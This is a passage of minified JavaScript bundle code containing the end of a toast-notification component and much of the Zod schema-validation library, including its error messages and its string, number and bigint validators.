0:m.closeButton)!=null?Fn:i,interacting:B,position:W,style:m==null?void 0:m.style,unstyled:m==null?void 0:m.unstyled,classNames:m==null?void 0:m.classNames,cancelButtonStyle:m==null?void 0:m.cancelButtonStyle,actionButtonStyle:m==null?void 0:m.actionButtonStyle,removeToast:q,toasts:_.filter($n=>$n.position==ge.position),heights:T.filter($n=>$n.position==ge.position),setHeights:O,expandByDefault:o,gap:g,loadingIcon:x,expanded:M,pauseWhenPageIsHidden:y,cn:C})}))})):null};const wR=({...e})=>{const{theme:t="system"}=ow();return E.jsx(yR,{theme:t,className:"toaster group",toastOptions:{classNames:{toast:"group toast group-[.toaster]:bg-background group-[.toaster]:text-foreground group-[.toaster]:border-border group-[.toaster]:shadow-lg",description:"group-[.toast]:text-muted-foreground",actionButton:"group-[.toast]:bg-primary group-[.toast]:text-primary-foreground",cancelButton:"group-[.toast]:bg-muted group-[.toast]:text-muted-foreground"}},...e})};var Ce;(function(e){e.assertEqual=o=>o;function t(o){}e.assertIs=t;function n(o){throw new Error}e.assertNever=n,e.arrayToEnum=o=>{const i={};for(const s of o)i[s]=s;return i},e.getValidEnumValues=o=>{const i=e.objectKeys(o).filter(a=>typeof o[o[a]]!="number"),s={};for(const a of i)s[a]=o[a];return e.objectValues(s)},e.objectValues=o=>e.objectKeys(o).map(function(i){return o[i]}),e.objectKeys=typeof Object.keys=="function"?o=>Object.keys(o):o=>{const i=[];for(const s in o)Object.prototype.hasOwnProperty.call(o,s)&&i.push(s);return i},e.find=(o,i)=>{for(const s of o)if(i(s))return s},e.isInteger=typeof Number.isInteger=="function"?o=>Number.isInteger(o):o=>typeof o=="number"&&isFinite(o)&&Math.floor(o)===o;function r(o,i=" | "){return o.map(s=>typeof s=="string"?`'${s}'`:s).join(i)}e.joinValues=r,e.jsonStringifyReplacer=(o,i)=>typeof i=="bigint"?i.toString():i})(Ce||(Ce={}));var lh;(function(e){e.mergeShapes=(t,n)=>({...t,...n})})(lh||(lh={}));const Z=Ce.arrayToEnum(["string","nan","number","integer","float","boolean","date","bigint","symbol","function","undefined","null","array","object","unknown","promise","void","never","map","set"]),qr=e=>{switch(typeof e){case"undefined":return Z.undefined;case"string":return Z.string;case"number":return isNaN(e)?Z.nan:Z.number;case"boolean":return Z.boolean;case"function":return Z.function;case"bigint":return Z.bigint;case"symbol":return Z.symbol;case"object":return Array.isArray(e)?Z.array:e===null?Z.null:e.then&&typeof e.then=="function"&&e.catch&&typeof e.catch=="function"?Z.promise:typeof Map<"u"&&e instanceof Map?Z.map:typeof Set<"u"&&e instanceof Set?Z.set:typeof Date<"u"&&e instanceof Date?Z.date:Z.object;default:return Z.unknown}},z=Ce.arrayToEnum(["invalid_type","invalid_literal","custom","invalid_union","invalid_union_discriminator","invalid_enum_value","unrecognized_keys","invalid_arguments","invalid_return_type","invalid_date","invalid_string","too_small","too_big","invalid_intersection_types","not_multiple_of","not_finite"]),xR=e=>JSON.stringify(e,null,2).replace(/"([^"]+)":/g,"$1:");class nn extends Error{constructor(t){super(),this.issues=[],this.addIssue=r=>{this.issues=[...this.issues,r]},this.addIssues=(r=[])=>{this.issues=[...this.issues,...r]};const n=new.target.prototype;Object.setPrototypeOf?Object.setPrototypeOf(this,n):this.__proto__=n,this.name="ZodError",this.issues=t}get errors(){return this.issues}format(t){const n=t||function(i){return i.message},r={_errors:[]},o=i=>{for(const s of i.issues)if(s.code==="invalid_union")s.unionErrors.map(o);else if(s.code==="invalid_return_type")o(s.returnTypeError);else if(s.code==="invalid_arguments")o(s.argumentsError);else if(s.path.length===0)r._errors.push(n(s));else{let a=r,l=0;for(;l<s.path.length;){const u=s.path[l];l===s.path.length-1?(a[u]=a[u]||{_errors:[]},a[u]._errors.push(n(s))):a[u]=a[u]||{_errors:[]},a=a[u],l++}}};return o(this),r}static assert(t){if(!(t instanceof nn))throw new Error(`Not a ZodError: ${t}`)}toString(){return this.message}get message(){return JSON.stringify(this.issues,Ce.jsonStringifyReplacer,2)}get isEmpty(){return this.issues.length===0}flatten(t=n=>n.message){const n={},r=[];for(const o of this.issues)o.path.length>0?(n[o.path[0]]=n[o.path[0]]||[],n[o.path[0]].push(t(o))):r.push(t(o));return{formErrors:r,fieldErrors:n}}get formErrors(){return this.flatten()}}nn.create=e=>new nn(e);const Ls=(e,t)=>{let n;switch(e.code){case z.invalid_type:e.received===Z.undefined?n="Required":n=`Expected ${e.expected}, received ${e.received}`;break;case z.invalid_literal:n=`Invalid literal value, expected ${JSON.stringify(e.expected,Ce.jsonStringifyReplacer)}`;break;case z.unrecognized_keys:n=`Unrecognized key(s) in object: ${Ce.joinValues(e.keys,", ")}`;break;case z.invalid_union:n="Invalid input";break;case z.invalid_union_discriminator:n=`Invalid discriminator value. Expected ${Ce.joinValues(e.options)}`;break;case z.invalid_enum_value:n=`Invalid enum value. Expected ${Ce.joinValues(e.options)}, received '${e.received}'`;break;case z.invalid_arguments:n="Invalid function arguments";break;case z.invalid_return_type:n="Invalid function return type";break;case z.invalid_date:n="Invalid date";break;case z.invalid_string:typeof e.validation=="object"?"includes"in e.validation?(n=`Invalid input: must include "${e.validation.includes}"`,typeof e.validation.position=="number"&&(n=`${n} at one or more positions greater than or equal to ${e.validation.position}`)):"startsWith"in e.validation?n=`Invalid input: must start with "${e.validation.startsWith}"`:"endsWith"in e.validation?n=`Invalid input: must end with "${e.validation.endsWith}"`:Ce.assertNever(e.validation):e.validation!=="regex"?n=`Invalid ${e.validation}`:n="Invalid";break;case z.too_small:e.type==="array"?n=`Array must contain ${e.exact?"exactly":e.inclusive?"at least":"more than"} ${e.minimum} element(s)`:e.type==="string"?n=`String must contain ${e.exact?"exactly":e.inclusive?"at least":"over"} ${e.minimum} character(s)`:e.type==="number"?n=`Number must be ${e.exact?"exactly equal to ":e.inclusive?"greater than or equal to ":"greater than "}${e.minimum}`:e.type==="date"?n=`Date must be ${e.exact?"exactly equal to ":e.inclusive?"greater than or equal to ":"greater than "}${new Date(Number(e.minimum))}`:n="Invalid input";break;case z.too_big:e.type==="array"?n=`Array must contain ${e.exact?"exactly":e.inclusive?"at most":"less than"} ${e.maximum} element(s)`:e.type==="string"?n=`String must contain ${e.exact?"exactly":e.inclusive?"at most":"under"} ${e.maximum} character(s)`:e.type==="number"?n=`Number must be ${e.exact?"exactly":e.inclusive?"less than or equal to":"less than"} ${e.maximum}`:e.type==="bigint"?n=`BigInt must be ${e.exact?"exactly":e.inclusive?"less than or equal to":"less than"} ${e.maximum}`:e.type==="date"?n=`Date must be ${e.exact?"exactly":e.inclusive?"smaller than or equal to":"smaller than"} ${new Date(Number(e.maximum))}`:n="Invalid input";break;case z.custom:n="Invalid input";break;case z.invalid_intersection_types:n="Intersection results could not be merged";break;case z.not_multiple_of:n=`Number must be a multiple of ${e.multipleOf}`;break;case z.not_finite:n="Number must be finite";break;default:n=t.defaultError,Ce.assertNever(e)}return{message:n}};let Hx=Ls;function bR(e){Hx=e}function ac(){return Hx}const lc=e=>{const{data:t,path:n,errorMaps:r,issueData:o}=e,i=[...n,...o.path||[]],s={...o,path:i};if(o.message!==void 0)return{...o,path:i,message:o.message};let a="";const l=r.filter(u=>!!u).slice().reverse();for(const u of l)a=u(s,{data:t,defaultError:a}).message;return{...o,path:i,message:a}},CR=[];function V(e,t){const n=ac(),r=lc({issueData:t,data:e.data,path:e.path,errorMaps:[e.common.contextualErrorMap,e.schemaErrorMap,n,n===Ls?void 0:Ls].filter(o=>!!o)});e.common.issues.push(r)}class _t{constructor(){this.value="valid"}dirty(){this.value==="valid"&&(this.value="dirty")}abort(){this.value!=="aborted"&&(this.value="aborted")}static mergeArray(t,n){const r=[];for(const o of n){if(o.status==="aborted")return se;o.status==="dirty"&&t.dirty(),r.push(o.value)}return{status:t.value,value:r}}static async mergeObjectAsync(t,n){const r=[];for(const o of n){const i=await o.key,s=await o.value;r.push({key:i,value:s})}return _t.mergeObjectSync(t,r)}static mergeObjectSync(t,n){const r={};for(const o of n){const{key:i,value:s}=o;if(i.status==="aborted"||s.status==="aborted")return se;i.status==="dirty"&&t.dirty(),s.status==="dirty"&&t.dirty(),i.value!=="__proto__"&&(typeof s.value<"u"||o.alwaysSet)&&(r[i.value]=s.value)}return{status:t.value,value:r}}}const se=Object.freeze({status:"aborted"}),Ui=e=>({status:"dirty",value:e}),At=e=>({status:"valid",value:e}),uh=e=>e.status==="aborted",ch=e=>e.status==="dirty",Ga=e=>e.status==="valid",qa=e=>typeof Promise<"u"&&e instanceof Promise;function uc(e,t,n,r){if(typeof t=="function"?e!==t||!r:!t.has(e))throw new TypeError("Cannot read private member from an object whose class did not declare it");return t.get(e)}function Wx(e,t,n,r,o){if(typeof t=="function"?e!==t||!o:!t.has(e))throw new TypeError("Cannot write private member to an object whose class did not declare it");return t.set(e,n),n}var ee;(function(e){e.errToObj=t=>typeof t=="string"?{message:t}:t||{},e.toString=t=>typeof t=="string"?t:t==null?void 0:t.message})(ee||(ee={}));var ma,va;class or{constructor(t,n,r,o){this._cachedPath=[],this.parent=t,this.data=n,this._path=r,this._key=o}get path(){return this._cachedPath.length||(this._key instanceof Array?this._cachedPath.push(...this._path,...this._key):this._cachedPath.push(...this._path,this._key)),this._cachedPath}}const pg=(e,t)=>{if(Ga(t))return{success:!0,data:t.value};if(!e.common.issues.length)throw new Error("Validation failed but no issues detected.");return{success:!1,get error(){if(this._error)return this._error;const n=new nn(e.common.issues);return this._error=n,this._error}}};function ce(e){if(!e)return{};const{errorMap:t,invalid_type_error:n,required_error:r,description:o}=e;if(t&&(n||r))throw new Error(`Can't use "invalid_type_error" or "required_error" in conjunction with custom error map.`);return t?{errorMap:t,description:o}:{errorMap:(s,a)=>{var l,u;const{message:c}=e;return s.code==="invalid_enum_value"?{message:c??a.defaultError}:typeof a.data>"u"?{message:(l=c??r)!==null&&l!==void 0?l:a.defaultError}:s.code!=="invalid_type"?{message:a.defaultError}:{message:(u=c??n)!==null&&u!==void 0?u:a.defaultError}},description:o}}class pe{constructor(t){this.spa=this.safeParseAsync,this._def=t,this.parse=this.parse.bind(this),this.safeParse=this.safeParse.bind(this),this.parseAsync=this.parseAsync.bind(this),this.safeParseAsync=this.safeParseAsync.bind(this),this.spa=this.spa.bind(this),this.refine=this.refine.bind(this),this.refinement=this.refinement.bind(this),this.superRefine=this.superRefine.bind(this),this.optional=this.optional.bind(this),this.nullable=this.nullable.bind(this),this.nullish=this.nullish.bind(this),this.array=this.array.bind(this),this.promise=this.promise.bind(this),this.or=this.or.bind(this),this.and=this.and.bind(this),this.transform=this.transform.bind(this),this.brand=this.brand.bind(this),this.default=this.default.bind(this),this.catch=this.catch.bind(this),this.describe=this.describe.bind(this),this.pipe=this.pipe.bind(this),this.readonly=this.readonly.bind(this),this.isNullable=this.isNullable.bind(this),this.isOptional=this.isOptional.bind(this)}get description(){return this._def.description}_getType(t){return qr(t.data)}_getOrReturnCtx(t,n){return n||{common:t.parent.common,data:t.data,parsedType:qr(t.data),schemaErrorMap:this._def.errorMap,path:t.path,parent:t.parent}}_processInputParams(t){return{status:new _t,ctx:{common:t.parent.common,data:t.data,parsedType:qr(t.data),schemaErrorMap:this._def.errorMap,path:t.path,parent:t.parent}}}_parseSync(t){const n=this._parse(t);if(qa(n))throw new Error("Synchronous parse encountered promise.");return n}_parseAsync(t){const n=this._parse(t);return Promise.resolve(n)}parse(t,n){const r=this.safeParse(t,n);if(r.success)return r.data;throw r.error}safeParse(t,n){var r;const o={common:{issues:[],async:(r=n==null?void 0:n.async)!==null&&r!==void 0?r:!1,contextualErrorMap:n==null?void 0:n.errorMap},path:(n==null?void 0:n.path)||[],schemaErrorMap:this._def.errorMap,parent:null,data:t,parsedType:qr(t)},i=this._parseSync({data:t,path:o.path,parent:o});return pg(o,i)}async parseAsync(t,n){const r=await this.safeParseAsync(t,n);if(r.success)return r.data;throw r.error}async safeParseAsync(t,n){const r={common:{issues:[],contextualErrorMap:n==null?void 0:n.errorMap,async:!0},path:(n==null?void 0:n.path)||[],schemaErrorMap:this._def.errorMap,parent:null,data:t,parsedType:qr(t)},o=this._parse({data:t,path:r.path,parent:r}),i=await(qa(o)?o:Promise.resolve(o));return pg(r,i)}refine(t,n){const r=o=>typeof n=="string"||typeof n>"u"?{message:n}:typeof n=="function"?n(o):n;return this._refinement((o,i)=>{const s=t(o),a=()=>i.addIssue({code:z.custom,...r(o)});return typeof Promise<"u"&&s instanceof Promise?s.then(l=>l?!0:(a(),!1)):s?!0:(a(),!1)})}refinement(t,n){return this._refinement((r,o)=>t(r)?!0:(o.addIssue(typeof n=="function"?n(r,o):n),!1))}_refinement(t){return new In({schema:this,typeName:ie.ZodEffects,effect:{type:"refinement",refinement:t}})}superRefine(t){return this._refinement(t)}optional(){return tr.create(this,this._def)}nullable(){return Po.create(this,this._def)}nullish(){return this.nullable().optional()}array(){return Mn.create(this,this._def)}promise(){return Ms.create(this,this._def)}or(t){return tl.create([this,t],this._def)}and(t){return nl.create(this,t,this._def)}transform(t){return new In({...ce(this._def),schema:this,typeName:ie.ZodEffects,effect:{type:"transform",transform:t}})}default(t){const n=typeof t=="function"?t:()=>t;return new al({...ce(this._def),innerType:this,defaultValue:n,typeName:ie.ZodDefault})}brand(){return new Kp({typeName:ie.ZodBranded,type:this,...ce(this._def)})}catch(t){const n=typeof t=="function"?t:()=>t;return new ll({...ce(this._def),innerType:this,catchValue:n,typeName:ie.ZodCatch})}describe(t){const n=this.constructor;return new n({...this._def,description:t})}pipe(t){return _l.create(this,t)}readonly(){return ul.create(this)}isOptional(){return this.safeParse(void 0).success}isNullable(){return this.safeParse(null).success}}const SR=/^c[^\s-]{8,}$/i,ER=/^[0-9a-z]+$/,_R=/^[0-9A-HJKMNP-TV-Z]{26}$/,kR=/^[0-9a-fA-F]{8}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{12}$/i,RR=/^[a-z0-9_-]{21}$/i,PR=/^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/,TR=/^(?!\.)(?!.*\.\.)([A-Z0-9_'+\-\.]*)[A-Z0-9_+-]@([A-Z0-9][A-Z0-9\-]*\.)+[A-Z]{2,}$/i,NR="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$";let $d;const OR=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,LR=/^(([a-f0-9]{1,4}:){7}|::([a-f0-9]{1,4}:){0,6}|([a-f0-9]{1,4}:){1}:([a-f0-9]{1,4}:){0,5}|([a-f0-9]{1,4}:){2}:([a-f0-9]{1,4}:){0,4}|([a-f0-9]{1,4}:){3}:([a-f0-9]{1,4}:){0,3}|([a-f0-9]{1,4}:){4}:([a-f0-9]{1,4}:){0,2}|([a-f0-9]{1,4}:){5}:([a-f0-9]{1,4}:){0,1})([a-f0-9]{1,4}|(((25[0-5])|(2[0-4][0-9])|(1[0-9]{2})|([0-9]{1,2}))\.){3}((25[0-5])|(2[0-4][0-9])|(1[0-9]{2})|([0-9]{1,2})))$/,AR=/^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/,Zx="((\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-((0[13578]|1[02])-(0[1-9]|[12]\\d|3[01])|(0[469]|11)-(0[1-9]|[12]\\d|30)|(02)-(0[1-9]|1\\d|2[0-8])))",MR=new RegExp(`^${Zx}$`);function Qx(e){let t="([01]\\d|2[0-3]):[0-5]\\d:[0-5]\\d";return e.precision?t=`${t}\\.\\d{${e.precision}}`:e.precision==null&&(t=`${t}(\\.\\d+)?`),t}function DR(e){return new RegExp(`^${Qx(e)}$`)}function Kx(e){let t=`${Zx}T${Qx(e)}`;const n=[];return n.push(e.local?"Z?":"Z"),e.offset&&n.push("([+-]\\d{2}:?\\d{2})"),t=`${t}(${n.join("|")})`,new RegExp(`^${t}$`)}function jR(e,t){return!!((t==="v4"||!t)&&OR.test(e)||(t==="v6"||!t)&&LR.test(e))}class On extends pe{_parse(t){if(this._def.coerce&&(t.data=String(t.data)),this._getType(t)!==Z.string){const i=this._getOrReturnCtx(t);return V(i,{code:z.invalid_type,expected:Z.string,received:i.parsedType}),se}const r=new _t;let o;for(const i of this._def.checks)if(i.kind==="min")t.data.length<i.value&&(o=this._getOrReturnCtx(t,o),V(o,{code:z.too_small,minimum:i.value,type:"string",inclusive:!0,exact:!1,message:i.message}),r.dirty());else if(i.kind==="max")t.data.length>i.value&&(o=this._getOrReturnCtx(t,o),V(o,{code:z.too_big,maximum:i.value,type:"string",inclusive:!0,exact:!1,message:i.message}),r.dirty());else if(i.kind==="length"){const s=t.data.length>i.value,a=t.data.length<i.value;(s||a)&&(o=this._getOrReturnCtx(t,o),s?V(o,{code:z.too_big,maximum:i.value,type:"string",inclusive:!0,exact:!0,message:i.message}):a&&V(o,{code:z.too_small,minimum:i.value,type:"string",inclusive:!0,exact:!0,message:i.message}),r.dirty())}else if(i.kind==="email")TR.test(t.data)||(o=this._getOrReturnCtx(t,o),V(o,{validation:"email",code:z.invalid_string,message:i.message}),r.dirty());else if(i.kind==="emoji")$d||($d=new RegExp(NR,"u")),$d.test(t.data)||(o=this._getOrReturnCtx(t,o),V(o,{validation:"emoji",code:z.invalid_string,message:i.message}),r.dirty());else if(i.kind==="uuid")kR.test(t.data)||(o=this._getOrReturnCtx(t,o),V(o,{validation:"uuid",code:z.invalid_string,message:i.message}),r.dirty());else if(i.kind==="nanoid")RR.test(t.data)||(o=this._getOrReturnCtx(t,o),V(o,{validation:"nanoid",code:z.invalid_string,message:i.message}),r.dirty());else if(i.kind==="cuid")SR.test(t.data)||(o=this._getOrReturnCtx(t,o),V(o,{validation:"cuid",code:z.invalid_string,message:i.message}),r.dirty());else if(i.kind==="cuid2")ER.test(t.data)||(o=this._getOrReturnCtx(t,o),V(o,{validation:"cuid2",code:z.invalid_string,message:i.message}),r.dirty());else if(i.kind==="ulid")_R.test(t.data)||(o=this._getOrReturnCtx(t,o),V(o,{validation:"ulid",code:z.invalid_string,message:i.message}),r.dirty());else if(i.kind==="url")try{new URL(t.data)}catch{o=this._getOrReturnCtx(t,o),V(o,{validation:"url",code:z.invalid_string,message:i.message}),r.dirty()}else i.kind==="regex"?(i.regex.lastIndex=0,i.regex.test(t.data)||(o=this._getOrReturnCtx(t,o),V(o,{validation:"regex",code:z.invalid_string,message:i.message}),r.dirty())):i.kind==="trim"?t.data=t.data.trim():i.kind==="includes"?t.data.includes(i.value,i.position)||(o=this._getOrReturnCtx(t,o),V(o,{code:z.invalid_string,validation:{includes:i.value,position:i.position},message:i.message}),r.dirty()):i.kind==="toLowerCase"?t.data=t.data.toLowerCase():i.kind==="toUpperCase"?t.data=t.data.toUpperCase():i.kind==="startsWith"?t.data.startsWith(i.value)||(o=this._getOrReturnCtx(t,o),V(o,{code:z.invalid_string,validation:{startsWith:i.value},message:i.message}),r.dirty()):i.kind==="endsWith"?t.data.endsWith(i.value)||(o=this._getOrReturnCtx(t,o),V(o,{code:z.invalid_string,validation:{endsWith:i.value},message:i.message}),r.dirty()):i.kind==="datetime"?Kx(i).test(t.data)||(o=this._getOrReturnCtx(t,o),V(o,{code:z.invalid_string,validation:"datetime",message:i.message}),r.dirty()):i.kind==="date"?MR.test(t.data)||(o=this._getOrReturnCtx(t,o),V(o,{code:z.invalid_string,validation:"date",message:i.message}),r.dirty()):i.kind==="time"?DR(i).test(t.data)||(o=this._getOrReturnCtx(t,o),V(o,{code:z.invalid_string,validation:"time",message:i.message}),r.dirty()):i.kind==="duration"?PR.test(t.data)||(o=this._getOrReturnCtx(t,o),V(o,{validation:"duration",code:z.invalid_string,message:i.message}),r.dirty()):i.kind==="ip"?jR(t.data,i.version)||(o=this._getOrReturnCtx(t,o),V(o,{validation:"ip",code:z.invalid_string,message:i.message}),r.dirty()):i.kind==="base64"?AR.test(t.data)||(o=this._getOrReturnCtx(t,o),V(o,{validation:"base64",code:z.invalid_string,message:i.message}),r.dirty()):Ce.assertNever(i);return{status:r.value,value:t.data}}_regex(t,n,r){return this.refinement(o=>t.test(o),{validation:n,code:z.invalid_string,...ee.errToObj(r)})}_addCheck(t){return new On({...this._def,checks:[...this._def.checks,t]})}email(t){return this._addCheck({kind:"email",...ee.errToObj(t)})}url(t){return this._addCheck({kind:"url",...ee.errToObj(t)})}emoji(t){return this._addCheck({kind:"emoji",...ee.errToObj(t)})}uuid(t){return this._addCheck({kind:"uuid",...ee.errToObj(t)})}nanoid(t){return this._addCheck({kind:"nanoid",...ee.errToObj(t)})}cuid(t){return this._addCheck({kind:"cuid",...ee.errToObj(t)})}cuid2(t){return this._addCheck({kind:"cuid2",...ee.errToObj(t)})}ulid(t){return this._addCheck({kind:"ulid",...ee.errToObj(t)})}base64(t){return this._addCheck({kind:"base64",...ee.errToObj(t)})}ip(t){return this._addCheck({kind:"ip",...ee.errToObj(t)})}datetime(t){var n,r;return typeof t=="string"?this._addCheck({kind:"datetime",precision:null,offset:!1,local:!1,message:t}):this._addCheck({kind:"datetime",precision:typeof(t==null?void 0:t.precision)>"u"?null:t==null?void 0:t.precision,offset:(n=t==null?void 0:t.offset)!==null&&n!==void 0?n:!1,local:(r=t==null?void 0:t.local)!==null&&r!==void 0?r:!1,...ee.errToObj(t==null?void 0:t.message)})}date(t){return this._addCheck({kind:"date",message:t})}time(t){return typeof t=="string"?this._addCheck({kind:"time",precision:null,message:t}):this._addCheck({kind:"time",precision:typeof(t==null?void 0:t.precision)>"u"?null:t==null?void 0:t.precision,...ee.errToObj(t==null?void 0:t.message)})}duration(t){return this._addCheck({kind:"duration",...ee.errToObj(t)})}regex(t,n){return this._addCheck({kind:"regex",regex:t,...ee.errToObj(n)})}includes(t,n){return this._addCheck({kind:"includes",value:t,position:n==null?void 0:n.position,...ee.errToObj(n==null?void 0:n.message)})}startsWith(t,n){return this._addCheck({kind:"startsWith",value:t,...ee.errToObj(n)})}endsWith(t,n){return this._addCheck({kind:"endsWith",value:t,...ee.errToObj(n)})}min(t,n){return this._addCheck({kind:"min",value:t,...ee.errToObj(n)})}max(t,n){return this._addCheck({kind:"max",value:t,...ee.errToObj(n)})}length(t,n){return this._addCheck({kind:"length",value:t,...ee.errToObj(n)})}nonempty(t){return this.min(1,ee.errToObj(t))}trim(){return new On({...this._def,checks:[...this._def.checks,{kind:"trim"}]})}toLowerCase(){return new On({...this._def,checks:[...this._def.checks,{kind:"toLowerCase"}]})}toUpperCase(){return new On({...this._def,checks:[...this._def.checks,{kind:"toUpperCase"}]})}get isDatetime(){return!!this._def.checks.find(t=>t.kind==="datetime")}get isDate(){return!!this._def.checks.find(t=>t.kind==="date")}get isTime(){return!!this._def.checks.find(t=>t.kind==="time")}get isDuration(){return!!this._def.checks.find(t=>t.kind==="duration")}get isEmail(){return!!this._def.checks.find(t=>t.kind==="email")}get isURL(){return!!this._def.checks.find(t=>t.kind==="url")}get isEmoji(){return!!this._def.checks.find(t=>t.kind==="emoji")}get isUUID(){return!!this._def.checks.find(t=>t.kind==="uuid")}get isNANOID(){return!!this._def.checks.find(t=>t.kind==="nanoid")}get isCUID(){return!!this._def.checks.find(t=>t.kind==="cuid")}get isCUID2(){return!!this._def.checks.find(t=>t.kind==="cuid2")}get isULID(){return!!this._def.checks.find(t=>t.kind==="ulid")}get isIP(){return!!this._def.checks.find(t=>t.kind==="ip")}get isBase64(){return!!this._def.checks.find(t=>t.kind==="base64")}get minLength(){let t=null;for(const n of this._def.checks)n.kind==="min"&&(t===null||n.value>t)&&(t=n.value);return t}get maxLength(){let t=null;for(const n of this._def.checks)n.kind==="max"&&(t===null||n.value<t)&&(t=n.value);return t}}On.create=e=>{var t;return new On({checks:[],typeName:ie.ZodString,coerce:(t=e==null?void 0:e.coerce)!==null&&t!==void 0?t:!1,...ce(e)})};function IR(e,t){const n=(e.toString().split(".")[1]||"").length,r=(t.toString().split(".")[1]||"").length,o=n>r?n:r,i=parseInt(e.toFixed(o).replace(".","")),s=parseInt(t.toFixed(o).replace(".",""));return i%s/Math.pow(10,o)}class _o extends pe{constructor(){super(...arguments),this.min=this.gte,this.max=this.lte,this.step=this.multipleOf}_parse(t){if(this._def.coerce&&(t.data=Number(t.data)),this._getType(t)!==Z.number){const i=this._getOrReturnCtx(t);return V(i,{code:z.invalid_type,expected:Z.number,received:i.parsedType}),se}let r;const o=new _t;for(const i of this._def.checks)i.kind==="int"?Ce.isInteger(t.data)||(r=this._getOrReturnCtx(t,r),V(r,{code:z.invalid_type,expected:"integer",received:"float",message:i.message}),o.dirty()):i.kind==="min"?(i.inclusive?t.data<i.value:t.data<=i.value)&&(r=this._getOrReturnCtx(t,r),V(r,{code:z.too_small,minimum:i.value,type:"number",inclusive:i.inclusive,exact:!1,message:i.message}),o.dirty()):i.kind==="max"?(i.inclusive?t.data>i.value:t.data>=i.value)&&(r=this._getOrReturnCtx(t,r),V(r,{code:z.too_big,maximum:i.value,type:"number",inclusive:i.inclusive,exact:!1,message:i.message}),o.dirty()):i.kind==="multipleOf"?IR(t.data,i.value)!==0&&(r=this._getOrReturnCtx(t,r),V(r,{code:z.not_multiple_of,multipleOf:i.value,message:i.message}),o.dirty()):i.kind==="finite"?Number.isFinite(t.data)||(r=this._getOrReturnCtx(t,r),V(r,{code:z.not_finite,message:i.message}),o.dirty()):Ce.assertNever(i);return{status:o.value,value:t.data}}gte(t,n){return this.setLimit("min",t,!0,ee.toString(n))}gt(t,n){return this.setLimit("min",t,!1,ee.toString(n))}lte(t,n){return this.setLimit("max",t,!0,ee.toString(n))}lt(t,n){return this.setLimit("max",t,!1,ee.toString(n))}setLimit(t,n,r,o){return new _o({...this._def,checks:[...this._def.checks,{kind:t,value:n,inclusive:r,message:ee.toString(o)}]})}_addCheck(t){return new _o({...this._def,checks:[...this._def.checks,t]})}int(t){return this._addCheck({kind:"int",message:ee.toString(t)})}positive(t){return this._addCheck({kind:"min",value:0,inclusive:!1,message:ee.toString(t)})}negative(t){return this._addCheck({kind:"max",value:0,inclusive:!1,message:ee.toString(t)})}nonpositive(t){return this._addCheck({kind:"max",value:0,inclusive:!0,message:ee.toString(t)})}nonnegative(t){return this._addCheck({kind:"min",value:0,inclusive:!0,message:ee.toString(t)})}multipleOf(t,n){return this._addCheck({kind:"multipleOf",value:t,message:ee.toString(n)})}finite(t){return this._addCheck({kind:"finite",message:ee.toString(t)})}safe(t){return this._addCheck({kind:"min",inclusive:!0,value:Number.MIN_SAFE_INTEGER,message:ee.toString(t)})._addCheck({kind:"max",inclusive:!0,value:Number.MAX_SAFE_INTEGER,message:ee.toString(t)})}get minValue(){let t=null;for(const n of this._def.checks)n.kind==="min"&&(t===null||n.value>t)&&(t=n.value);return t}get maxValue(){let t=null;for(const n of this._def.checks)n.kind==="max"&&(t===null||n.value<t)&&(t=n.value);return t}get isInt(){return!!this._def.checks.find(t=>t.kind==="int"||t.kind==="multipleOf"&&Ce.isInteger(t.value))}get isFinite(){let t=null,n=null;for(const r of this._def.checks){if(r.kind==="finite"||r.kind==="int"||r.kind==="multipleOf")return!0;r.kind==="min"?(n===null||r.value>n)&&(n=r.value):r.kind==="max"&&(t===null||r.value<t)&&(t=r.value)}return Number.isFinite(n)&&Number.isFinite(t)}}_o.create=e=>new _o({checks:[],typeName:ie.ZodNumber,coerce:(e==null?void 0:e.coerce)||!1,...ce(e)});class ko extends pe{constructor(){super(...arguments),this.min=this.gte,this.max=this.lte}_parse(t){if(this._def.coerce&&(t.data=BigInt(t.data)),this._getType(t)!==Z.bigint){const i=this._getOrReturnCtx(t);return V(i,{code:z.invalid_type,expected:Z.bigint,received:i.parsedType}),se}let r;const o=new _t;for(const i of this._def.checks)i.kind==="min"?(i.inclusive?t.data<i.value:t.data<=i.value)&&(r=this._getOrReturnCtx(t,r),V(r,{code:z.too_small,type:"bigint",minimum:i.value,inclusive:i.inclusive,message:i.message}),o.dirty()):i.kind==="max"?(i.inclusive?t.data>i.value:t.data>=i.value)&&(r=this._getOrReturnCtx(t,r),V(r,{code:z.too_big,type:"bigint",maximum:i.value,inclusive:i.inclusive,message:i.message}),o.dirty()):i.kind==="multipleOf"?t.data%i.value!==BigInt(0)&&(r=this._getOrReturnCtx(t,r),V(r,{code:z.not_multiple_of,multipleOf:i.value,message:i.message}),o.dirty()):Ce.assertNever(i);return{status:o.value,value:t.data}}gte(t,n){return this.setLimit("min",t,!0,ee.toString(n))}gt(t,n){return this.setLimit("min",t,!1,ee.toString(n))}lte(t,n){return this.setLimit("max",t,!0,ee.toString(n))}lt(t,n){return this.setLimit("max",t,!1,ee.toString(n))}setLimit(t,n,r,o){return new ko({...this._def,checks:[...this._def.checks,{kind:t,value:n,inclusive:r,message:ee.toString(o)}]})}_addCheck(t){return new ko({...this._def,checks:[...this._def.checks,t]})}positive(t){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!1,message:ee.toString(t)})}negative(t){return 